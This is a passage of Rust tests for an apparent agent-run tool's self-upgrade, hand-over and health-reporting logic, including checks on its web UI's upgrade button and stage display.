16941 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
16942 p.stage = stage;
16943 p
16944 }
16945
16946 #[test]
16947 fn busy_stages_match_the_ui_set() {
16948 use crate::updater::Stage;
16949 assert!(APP_JS.contains(
16950 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
16951 ));
16952 for s in [
16953 Stage::Downloading,
16954 Stage::Replaced,
16955 Stage::Parking,
16956 Stage::Restarting,
16957 ] {
16958 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
16959 }
16960 for s in [Stage::Done, Stage::Failed] {
16961 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
16962 }
16963 assert!(upgrade_in_motion(None).is_none());
16964 }
16965
16966 #[tokio::test]
16967 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
16968 use crate::updater::Stage;
16969 for stage in [
16970 Stage::Downloading,
16971 Stage::Replaced,
16972 Stage::Parking,
16973 Stage::Restarting,
16974 ] {
16975 let fx = Fixture::start().await;
16976 let seeded = seeded_progress(stage);
16977 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
16978 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
16979 .expect("read");
16980
16981 let res = fx.post("/api/upgrade", None).await;
16982 assert_eq!(res.status, 409, "{stage:?}");
16983 let err = res.json()["error"].as_str().unwrap().to_owned();
16984 assert!(err.contains("already in progress"), "{err}");
16985 assert!(err.contains(stage.as_str()), "{err}");
16986
16987 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
16988 .expect("read");
16989 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
16990 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
16991 .unwrap_or_default();
16992 assert!(!log.contains("signalling HANDOVER"), "{log}");
16993 }
16994 }
16995
16996 #[tokio::test]
16997 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
16998 use crate::updater::Stage;
16999 let repo = TempDir::new().expect("repo dir");
17000 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17001 .expect("write magi.toml");
17002 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17003 for stage in [Stage::Done, Stage::Failed] {
17004 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
17005 let res = fx.post("/api/upgrade", None).await;
17006 assert_eq!(res.status, 200, "{stage:?}");
17007 }
17008 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
17010 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
17011 }
17012
17013 #[tokio::test]
17014 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
17015 let repo = TempDir::new().expect("repo dir");
17031 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17032 .expect("write magi.toml");
17033 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17034
17035 let res = fx.post("/api/upgrade", None).await;
17041 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
17042 let body = res.json();
17043 assert!(body["to"].is_null(), "there was no release to move to");
17044 assert!(body["parked"].is_null(), "and nothing was parked");
17045 assert!(
17046 body["detail"]
17047 .as_str()
17048 .unwrap()
17049 .contains("nothing restarted"),
17050 "{body:?}"
17051 );
17052 }
17053
17054 #[tokio::test]
17055 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
17056 let repo = TempDir::new().expect("repo dir");
17061 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17062 .expect("write magi.toml");
17063 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17064
17065 let health = fx.get("/api/health").await.json();
17066 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
17067 assert_eq!(
17068 health["update"]["available"], false,
17069 "checking is off, which reads as \"unknown\", not \"none\""
17070 );
17071 assert!(health["update"]["to"].is_null());
17072 assert!(
17073 health["upgrade"].is_null(),
17074 "nothing has ever asked this deck to upgrade"
17075 );
17076 }
17077
17078 #[tokio::test]
17079 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
17080 let fx = Fixture::start().await;
17081 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
17082
17083 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17084 progress.parked_run = Some("20260905-000000-cd51".to_owned());
17085 progress.advance(crate::updater::Stage::Parking);
17086 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17087
17088 let health = fx.get("/api/health").await.json();
17089 assert_eq!(health["upgrade"]["stage"], "parking");
17090 assert_eq!(health["upgrade"]["from"], "0.5.1");
17091 assert_eq!(health["upgrade"]["to"], "0.5.2");
17092 let waiting_on = health["upgrade"]["waiting_on"]
17093 .as_str()
17094 .expect("waiting_on is set while parking a known run");
17095 assert!(waiting_on.contains("cd51"), "{waiting_on}");
17096 assert!(waiting_on.contains("implementing"), "{waiting_on}");
17097 }
17098
17099 #[tokio::test]
17100 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
17101 let fx = Fixture::start().await;
17102 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17103 progress.advance(crate::updater::Stage::Done);
17104 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17105
17106 let health = fx.get("/api/health").await.json();
17107 assert_eq!(health["upgrade"]["stage"], "done");
17108 assert!(
17109 health["upgrade"]["waiting_on"].is_null(),
17110 "nothing to wait on once it is done"
17111 );
17112 }
17113
17114 #[tokio::test]
17115 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
17116 let home = TempDir::new().expect("temp home");
17117 let runs = home.path().join("runs");
17118 std::fs::create_dir_all(&runs).expect("runs dir");
17119 let ui = Ui::new(
17120 Queue::at(home.path().join("queue")),
17121 Questions::at(home.path().join("questions")),
17122 Talks::at(home.path().join("talks")),
17123 runs,
17124 home.path().to_path_buf(),
17125 PathBuf::from("/repo/magi"),
17126 )
17127 .with_launch(launch_idle);
17128 let looping = ui.looping();
17129 let turns = ui.turns();
17130 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17131 .await
17132 .expect("bind loopback");
17133 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17134
17135 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17136 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17137
17138 hand_over(
17139 home.path(),
17140 &looping,
17141 &turns,
17142 &|_: &[String]| Duration::from_secs(5),
17143 served,
17144 |_| Ok(1),
17145 )
17146 .await
17147 .expect("hand over");
17148
17149 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
17150 assert_eq!(
17151 after.stage,
17152 crate::updater::Stage::Restarting,
17153 "hand_over owns the record through parking and up to restarting; \
17154 the successor is what finishes it"
17155 );
17156 }
17157
17158 #[tokio::test]
17161 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
17162 for fail in [false, true] {
17163 let home = TempDir::new().expect("temp home");
17164 let ui = idle_ui(&home);
17165 let looping = ui.looping();
17166 let turns = ui.turns();
17167 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17168 .await
17169 .expect("bind loopback");
17170 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17171 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17172 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17173
17174 let calls = std::sync::atomic::AtomicUsize::new(0);
17175 let outcome = hand_over(
17176 home.path(),
17177 &looping,
17178 &turns,
17179 &|_: &[String]| Duration::from_secs(5),
17180 served,
17181 |_| {
17182 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17183 if fail {
17184 anyhow::bail!("no exec")
17185 } else {
17186 Ok(4242)
17187 }
17188 },
17189 )
17190 .await;
17191 assert_eq!(outcome.is_err(), fail);
17192 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17193
17194 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
17195 .expect("upgrade.log is written under the home");
17196 for step in [
17197 "entered",
17198 "finish_loop",
17199 "listener released",
17200 "starting the successor",
17201 ] {
17202 assert!(log.contains(step), "missing `{step}` in:\n{log}");
17203 }
17204 assert!(
17205 log.contains(if fail { "did not start" } else { "pid 4242" }),
17206 "{log}"
17207 );
17208 }
17209 }
17210
17211 #[tokio::test]
17214 async fn the_handover_signal_wakes_one_waiter_once() {
17215 let signal = Notify::new();
17216 signal.notify_one();
17218 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
17219 .await
17220 .expect("an early signal is still seen");
17221 assert!(
17223 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
17224 .await
17225 .is_err(),
17226 "a consumed signal must not wake a second time"
17227 );
17228 let signal = std::sync::Arc::new(signal);
17230 let waiter = tokio::spawn({
17231 let signal = std::sync::Arc::clone(&signal);
17232 async move { wait_for_handover(&signal).await }
17233 });
17234 tokio::time::sleep(Duration::from_millis(20)).await;
17235 assert!(!waiter.is_finished(), "nothing was signalled yet");
17236 signal.notify_one();
17237 tokio::time::timeout(Duration::from_secs(5), waiter)
17238 .await
17239 .expect("a late signal wakes the waiter")
17240 .expect("join");
17241 }
17242
17243 #[tokio::test]
17244 async fn health_says_how_long_a_handover_has_been_stuck() {
17245 let fx = Fixture::start().await;
17246 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17247 progress.advance(crate::updater::Stage::Replaced);
17248 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
17249 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17250
17251 let health = fx.get("/api/health").await.json();
17252 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
17253 assert!(stuck >= 600, "{stuck}");
17254 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
17255 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
17256 }
17257
17258 #[tokio::test]
17259 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
17260 let home = tempfile::tempdir().expect("temp home");
17261 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17262 progress.advance(crate::updater::Stage::Parking);
17263 crate::updater::write_progress(home.path(), &progress).expect("seed");
17264 let mut again = progress.clone();
17266 again.advance(crate::updater::Stage::Replaced);
17267 crate::updater::write_progress(home.path(), &again).expect("replaced");
17268 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17269 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
17270 let after = crate::updater::read_progress(home.path()).expect("record");
17271 assert_eq!(after.stage, crate::updater::Stage::Parking);
17272 }
17273
17274 #[tokio::test]
17275 async fn health_does_not_call_a_live_parking_wait_stuck() {
17276 let fx = Fixture::start().await;
17277 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17278 progress.parked_run = Some("20260905-000000-cd51".to_owned());
17279 progress.advance(crate::updater::Stage::Parking);
17280 let hours = Duration::from_secs(3 * 3600);
17281 progress.started_at = Timestamp::now() - hours;
17282 progress.updated_at = Timestamp::now() - hours;
17283 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17284 let _lease = crate::updater::LeaseGuard::enter(
17285 fx.home.path(),
17286 Some("20260905-000000-cd51".to_owned()),
17287 );
17288
17289 let health = fx.get("/api/health").await.json();
17290 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
17291 assert!(health["upgrade"]["stuck_kind"].is_null());
17292 assert_eq!(health["upgrade"]["handover_alive"], true);
17293 let waiting_on = health["upgrade"]["waiting_on"]
17294 .as_str()
17295 .expect("waiting_on");
17296 assert!(waiting_on.contains("cd51"), "{waiting_on}");
17297 }
17298
17299 fn idle_ui(home: &TempDir) -> Ui {
17300 let runs = home.path().join("runs");
17301 std::fs::create_dir_all(&runs).expect("runs dir");
17302 Ui::new(
17303 Queue::at(home.path().join("queue")),
17304 Questions::at(home.path().join("questions")),
17305 Talks::at(home.path().join("talks")),
17306 runs,
17307 home.path().to_path_buf(),
17308 PathBuf::from("/repo/magi"),
17309 )
17310 .with_launch(launch_idle)
17311 }
17312
17313 async fn park_fixture(
17314 home: &TempDir,
17315 ) -> (
17316 Ui,
17317 Arc<Mutex<LoopState>>,
17318 Arc<Mutex<TalkTurns>>,
17319 tokio::task::JoinHandle<std::io::Result<()>>,
17320 ) {
17321 let ui = idle_ui(home);
17322 let looping = ui.looping();
17323 let turns = ui.turns();
17324 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17325 .await
17326 .expect("bind loopback");
17327 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
17328 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17329 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17330 (ui, looping, turns, served)
17331 }
17332
17333 #[tokio::test]
17337 async fn hand_over_waits_for_a_running_chat_turn() {
17338 let home = TempDir::new().expect("temp home");
17339 let (ui, looping, turns, served) = park_fixture(&home).await;
17340 let ui = Arc::new(ui);
17341 let id = "20260901-000000-chat";
17342 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17343
17344 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17345 let handover = tokio::spawn({
17346 let home = home.path().to_path_buf();
17347 let turns = Arc::clone(&turns);
17348 let calls = Arc::clone(&calls);
17349 async move {
17350 hand_over(
17351 &home,
17352 &looping,
17353 &turns,
17354 &|_: &[String]| Duration::from_secs(60),
17355 served,
17356 move |_| {
17357 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17358 Ok(1)
17359 },
17360 )
17361 .await
17362 }
17363 });
17364
17365 let waiting = async {
17366 for _ in 0..200 {
17367 if crate::updater::read_progress(home.path())
17368 .is_some_and(|p| p.parked_talks == [id.to_owned()])
17369 {
17370 return;
17371 }
17372 tokio::time::sleep(Duration::from_millis(25)).await;
17373 }
17374 panic!("the park never named the chat turn");
17375 };
17376 waiting.await;
17377 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17378
17379 let refused = ui.begin_talk_turn("20260901-000000-late").err();
17382 assert!(
17383 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17384 "a direct start says an upgrade is in progress"
17385 );
17386 assert!(
17387 ui.begin_queued_talk_turn("20260901-000000-late")
17388 .expect("queued claim")
17389 .is_none()
17390 );
17391 assert!(matches!(
17392 ui.begin_talk_turn_unless_pending("20260901-000000-late")
17393 .expect("start"),
17394 TalkTurnStart::Busy
17395 ));
17396 assert_eq!(turns.lock().unwrap().live.len(), 1);
17397
17398 let progress = crate::updater::read_progress(home.path()).expect("progress");
17400 let view = upgrade_progress_view(&ui, progress);
17401 assert!(
17402 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
17403 "{:?}",
17404 view.waiting_on
17405 );
17406
17407 assert!(!handover.is_finished());
17408 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17409 drop(turn);
17410 handover.await.expect("join").expect("hand over");
17411 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17412 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17413 }
17414
17415 #[tokio::test]
17418 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
17419 let home = TempDir::new().expect("temp home");
17420 let (ui, looping, turns, served) = park_fixture(&home).await;
17421 let ui = Arc::new(ui);
17422 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
17424 lock_or_recover(&looping).live = Some(Live {
17425 stop: daemon::Stop::new(),
17426 handle: tokio::spawn(async move {
17427 let _ = loop_ended.await;
17428 }),
17429 opts: daemon::Opts::default(),
17430 });
17431
17432 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17433 let handover = tokio::spawn({
17434 let home = home.path().to_path_buf();
17435 let turns = Arc::clone(&turns);
17436 let calls = Arc::clone(&calls);
17437 async move {
17438 hand_over(
17439 &home,
17440 &looping,
17441 &turns,
17442 &|_: &[String]| Duration::from_secs(60),
17443 served,
17444 move |_| {
17445 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17446 Ok(1)
17447 },
17448 )
17449 .await
17450 }
17451 });
17452
17453 let reached = async {
17454 for _ in 0..200 {
17455 if crate::updater::read_progress(home.path())
17456 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
17457 {
17458 return;
17459 }
17460 tokio::time::sleep(Duration::from_millis(25)).await;
17461 }
17462 panic!("the hand-over never reached parking");
17463 };
17464 reached.await;
17465
17466 assert!(!turns.lock().unwrap().parking);
17468 let turn = ui
17469 .begin_talk_turn("20260901-000000-chat")
17470 .expect("claim")
17471 .expect("a turn can start while the loop parks");
17472
17473 end_loop.send(()).expect("loop still waiting");
17475 for _ in 0..200 {
17476 if turns.lock().unwrap().parking {
17477 break;
17478 }
17479 tokio::time::sleep(Duration::from_millis(25)).await;
17480 }
17481 assert!(
17482 turns.lock().unwrap().parking,
17483 "closed once the loop is done"
17484 );
17485 let refused = ui.begin_talk_turn("20260901-000000-late").err();
17486 assert!(
17487 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17488 "no turn starts once the loop is done"
17489 );
17490 assert!(
17491 ui.begin_queued_talk_turn("20260901-000000-late")
17492 .expect("queued claim")
17493 .is_none()
17494 );
17495 assert!(!handover.is_finished());
17496 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17497
17498 drop(turn);
17499 handover.await.expect("join").expect("hand over");
17500 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17501 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17502 }
17503
17504 #[tokio::test]
17507 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
17508 let home = TempDir::new().expect("temp home");
17509 let (ui, looping, turns, served) = park_fixture(&home).await;
17510 let id = "20260901-000000-stuk";
17511 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17512
17513 let calls = std::sync::atomic::AtomicUsize::new(0);
17514 hand_over(
17515 home.path(),
17516 &looping,
17517 &turns,
17518 &|_: &[String]| Duration::from_millis(300),
17519 served,
17520 |_| {
17521 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17522 Ok(1)
17523 },
17524 )
17525 .await
17526 .expect("hand over");
17527 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17528
17529 let progress = crate::updater::read_progress(home.path()).expect("progress");
17530 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
17531 assert!(
17532 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
17533 "{:?}",
17534 progress.detail
17535 );
17536 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
17537 assert!(
17538 log.contains("handing over anyway") && log.contains(id),
17539 "{log}"
17540 );
17541 }
17542
17543 #[tokio::test]
17546 async fn drain_loop_starts_no_turn_while_parking() {
17547 let tmp = TempDir::new().expect("tempdir");
17548 let repo = tmp.path().join("repo");
17549 std::fs::create_dir_all(&repo).expect("repo dir");
17550 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
17551 let home = TempDir::new().expect("temp home");
17552 let talks = Talks::at(home.path().join("talks"));
17553 let ui = Ui::new(
17554 Queue::at(home.path().join("queue")),
17555 Questions::at(home.path().join("questions")),
17556 talks.clone(),
17557 home.path().join("runs"),
17558 home.path().to_path_buf(),
17559 repo.clone(),
17560 )
17561 .with_worktrees_root(home.path().join("wt"));
17562 let cfg = config_for(&repo).await.expect("discover config");
17563 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
17564 let id = talk.id.clone();
17565 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
17566 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
17567 let turns = ui.turns();
17568 let parking = ParkingTurns::begin(&turns);
17569
17570 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
17571
17572 assert!(
17573 turns.lock().unwrap().live.is_empty(),
17574 "the slot is given up"
17575 );
17576 let fresh = talks.get(&id).expect("talk");
17577 assert_eq!(fresh.pending, "later", "the draft is still queued");
17578 assert!(fresh.turns.is_empty(), "no turn ran");
17579 drop(parking);
17580 }
17581
17582 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
17584 let looping = ui.looping();
17585 let turns = ui.turns();
17586 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17587 .await
17588 .expect("bind loopback");
17589 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17590 let told = std::sync::Mutex::new(None);
17591 hand_over(
17592 home.path(),
17593 &looping,
17594 &turns,
17595 &|_: &[String]| Duration::from_secs(5),
17596 served,
17597 |resume| {
17598 *told.lock().unwrap() = Some(resume);
17599 Ok(1)
17600 },
17601 )
17602 .await
17603 .expect("hand over");
17604 told.into_inner().unwrap().expect("successor was started")
17605 }
17606
17607 #[tokio::test]
17608 async fn a_running_loop_is_resumed_by_the_successor() {
17609 let home = TempDir::new().expect("temp home");
17610 let ui = idle_ui(&home);
17611 ui.start_loop(None).expect("start");
17612 ui.park_for_upgrade().expect("park");
17613 for _ in 0..500 {
17615 if !ui.loop_view(None).running {
17616 break;
17617 }
17618 tokio::time::sleep(Duration::from_millis(2)).await;
17619 }
17620 assert!(handed_over(&home, ui).await, "a running loop must resume");
17621
17622 let successor = idle_ui(&home);
17623 assert!(!successor.loop_view(None).running);
17624 assert!(successor.resume_after_handover(true));
17625 assert!(successor.loop_view(None).running);
17626 successor.stop_loop(None, false).expect("stop");
17627 }
17628
17629 #[tokio::test]
17630 async fn a_second_upgrade_request_keeps_the_resume_intent() {
17631 let home = TempDir::new().expect("temp home");
17632 let ui = idle_ui(&home);
17633 ui.start_loop(None).expect("start");
17634 ui.park_for_upgrade().expect("first park");
17635 ui.park_for_upgrade().expect("second park");
17636 assert!(handed_over(&home, ui).await);
17637 }
17638
17639 #[tokio::test]
17640 async fn a_stop_during_the_handover_wait_is_honoured() {
17641 let home = TempDir::new().expect("temp home");
17642 let ui = idle_ui(&home);
17643 ui.start_loop(None).expect("start");
17644 ui.park_for_upgrade().expect("park");
17645 ui.stop_loop(None, false).expect("stop");
17646 assert!(!handed_over(&home, ui).await);
17647 }
17648
17649 #[tokio::test]
17650 async fn an_idle_loop_stays_stopped_across_the_handover() {
17651 let home = TempDir::new().expect("temp home");
17652 let ui = idle_ui(&home);
17653 ui.park_for_upgrade().expect("park");
17654 assert!(!handed_over(&home, ui).await);
17655
17656 let successor = idle_ui(&home);
17657 assert!(!successor.resume_after_handover(false));
17658 assert!(!successor.loop_view(None).running);
17659 }
17660
17661 #[tokio::test]
17662 async fn a_loop_the_operator_stopped_is_not_resumed() {
17663 let home = TempDir::new().expect("temp home");
17664 let ui = idle_ui(&home);
17665 ui.start_loop(None).expect("start");
17666 ui.stop_loop(None, false).expect("stop");
17667 ui.park_for_upgrade().expect("park");
17668 assert!(!handed_over(&home, ui).await);
17669 }
17670
17671 #[test]
17672 fn only_an_explicit_one_requests_a_resume() {
17673 assert!(!resume_requested(None));
17674 assert!(!resume_requested(Some("0".into())));
17675 assert!(!resume_requested(Some("".into())));
17676 assert!(resume_requested(Some("1".into())));
17677 }
17678
17679 #[test]
17680 fn the_upgrade_button_arms_before_it_restarts_anything() {
17681 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
17684 assert!(APP_JS.contains("Replace the binary and restart?"));
17685 assert!(APP_JS.contains("function confirmed("));
17686 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
17691 assert!(
17695 APP_JS.contains("Parking, then restarting"),
17696 "the button says what it is waiting for"
17697 );
17698 assert!(APP_JS.contains("if (!out.to)"));
17701 }
17702
17703 #[test]
17704 fn stopping_the_loop_arms_but_starting_does_not() {
17705 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
17708 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
17709 assert!(APP_JS.contains("confirmed(button, question)"));
17710 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
17713 assert!(APP_JS.contains("const label = btn.textContent;"));
17714 assert!(!APP_JS.contains("Neither direction is guarded"));
17715 }
17716
17717 #[test]
17718 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
17719 assert!(
17720 APP_JS.contains("state.health.version"),
17721 "the operator wants to know what is running even with nothing newer"
17722 );
17723 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
17724 }
17725
17726 #[test]
17727 fn the_upgrade_button_names_its_destination() {
17728 assert!(
17729 APP_JS.contains("`Update to ${update.to}`"),
17730 "pressing the button should not be a surprise about what it moves to"
17731 );
17732 }
17733
17734 #[test]
17735 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
17736 for stage in ["downloading", "replaced", "parking", "restarting"] {
17737 assert!(
17738 APP_JS.contains(&format!("\"{stage}\"")),
17739 "the phone must be able to tell {stage} apart from the others"
17740 );
17741 }
17742 assert!(APP_JS.contains(".waiting_on"));
17743 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
17748 assert!(APP_JS.contains("reconnects on its own"));
17749 }
17750
17751 #[test]
17752 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
17753 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
17762 ..APP_JS.find("function upgrade(").expect("upgrade")];
17763 assert!(
17764 !body.contains(
17765 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
17766 ),
17767 "a failed upgrade must not take the whole strip over the way it used to"
17768 );
17769 assert!(
17770 body.contains("upgradeFailNote"),
17771 "the failure has to reach the loop's own note instead"
17772 );
17773 assert_eq!(
17777 body.matches("upgradeFailNote].filter(Boolean).join")
17778 .count(),
17779 2,
17780 "both loop-why writers (quiet and control) must fold the note in"
17781 );
17782 }
17783
17784 #[test]
17785 fn an_overdue_upgrade_eventually_asks_for_a_human() {
17786 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
17789 assert!(APP_JS.contains("function upgradeOverdue("));
17790 }
17791
17792 #[test]
17793 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
17794 assert!(
17795 APP_JS.contains("Updated to ${upgradeInfo.to"),
17796 "the operator who asked for the restart wants to know it worked"
17797 );
17798 }
17799
17800 #[test]
17801 fn an_error_is_visible_from_where_the_button_is() {
17802 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
17807 ..APP_CSS.find(".alert-text").expect(".alert-text")];
17808 assert!(
17809 alert.contains("position: fixed"),
17810 "an error about the thing under your thumb has to be visible from \
17811 where your thumb is: {alert}"
17812 );
17813 assert!(
17814 alert.contains("z-index: 25"),
17815 "above the dock (20) and the run-actions FAB (15), so neither \
17816 buries it: {alert}"
17817 );
17818 assert!(
17819 alert.contains("var(--tap)"),
17820 "and clear of the dock and the home indicator: {alert}"
17821 );
17822 assert!(
17825 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
17826 "the FAB's column stays free: {alert}"
17827 );
17828 }
17829
17830 #[tokio::test]
17831 async fn an_older_attempt_says_what_replaced_it() {
17832 let fx = Fixture::start().await;
17833 let q = fx.queue();
17834 let runs = fx.runs();
17835 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17836 write_run(&runs, first, RunStatus::Stalled);
17837 write_run(&runs, second, RunStatus::Blocked);
17838
17839 let mut t = Task::new(
17840 "one task".to_owned(),
17841 "do it".to_owned(),
17842 PathBuf::from("/repo"),
17843 Source::Human,
17844 );
17845 t.runs = vec![first.to_owned(), second.to_owned()];
17846 q.put(&mut t).expect("put");
17847
17848 let rows = fx.get("/api/runs").await.json();
17852 let by = |short: &str| -> Value {
17853 rows.as_array()
17854 .unwrap()
17855 .iter()
17856 .find(|r| r["short"] == short)
17857 .cloned()
17858 .unwrap_or(Value::Null)
17859 };
17860 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
17861 assert!(
17862 by("bbbb")["superseded_by"].is_null(),
17863 "the latest attempt is not superseded by anything"
17864 );
17865 assert!(APP_JS.contains("run.superseded_by"));
17867 assert!(APP_JS.contains("Superseded by"));
17868 }
17869
17870 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
17871 let mut t = Task::new(
17872 "one task".to_owned(),
17873 "do it".to_owned(),
17874 PathBuf::from("/repo"),
17875 Source::Human,
17876 );
17877 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17878 t.status = status;
17879 t
17880 }
17881
17882 #[test]
17883 fn source_link_picks_the_page_that_filed_the_task() {
17884 let agent = |node: &str| Source::Agent {
17885 run: "20260904-014455-ab12".to_owned(),
17886 node: node.to_owned(),
17887 };
17888 let chat = source_link(&agent("chat")).expect("chat link");
17889 assert_eq!(chat.kind, "chat");
17890 assert_eq!(chat.id, "20260904-014455-ab12");
17891 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
17892 let run = source_link(&agent("implement")).expect("run link");
17893 assert_eq!(
17894 (run.kind, run.href.as_str()),
17895 ("run", "#/runs/20260904-014455-ab12")
17896 );
17897 assert_eq!(source_link(&Source::Human), None);
17898 assert_eq!(
17899 source_link(&Source::Issue {
17900 number: 3,
17901 repo: "o/r".to_owned()
17902 }),
17903 None
17904 );
17905 let odd = source_link(&Source::Agent {
17906 run: "a b/c".to_owned(),
17907 node: "chat".to_owned(),
17908 })
17909 .expect("link");
